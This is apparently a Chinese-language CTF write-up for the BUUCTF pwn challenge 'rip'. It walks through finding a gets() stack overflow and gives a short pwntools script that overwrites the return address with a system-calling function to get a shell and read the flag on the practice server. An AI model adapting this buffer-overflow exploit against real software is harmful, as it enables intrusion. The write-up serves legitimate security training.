[buuctf pwn]rip
先checksec一下,64位,没开栈溢出保护

进ida看一下,有个gets,s是15个字符

然后还有另一个fun()函数


现在我们就可以利用栈溢出
用15个字符先填满函数缓冲区,然后用8个字符(64位)填满缓冲区下面的rbp区域,再下面就是返回地址了,我们把它填成system命令的地址0x40118A
EXP如下
from pwn import *
p=remote('node5.buuoj.cn',27826)
p.sendline(b'A'*23 + p64(0x40118A))
p.interactive()
执行后用ls指令,然后用cat指令读取flag文件,即可得到flag

浙公网安备 33010602011771号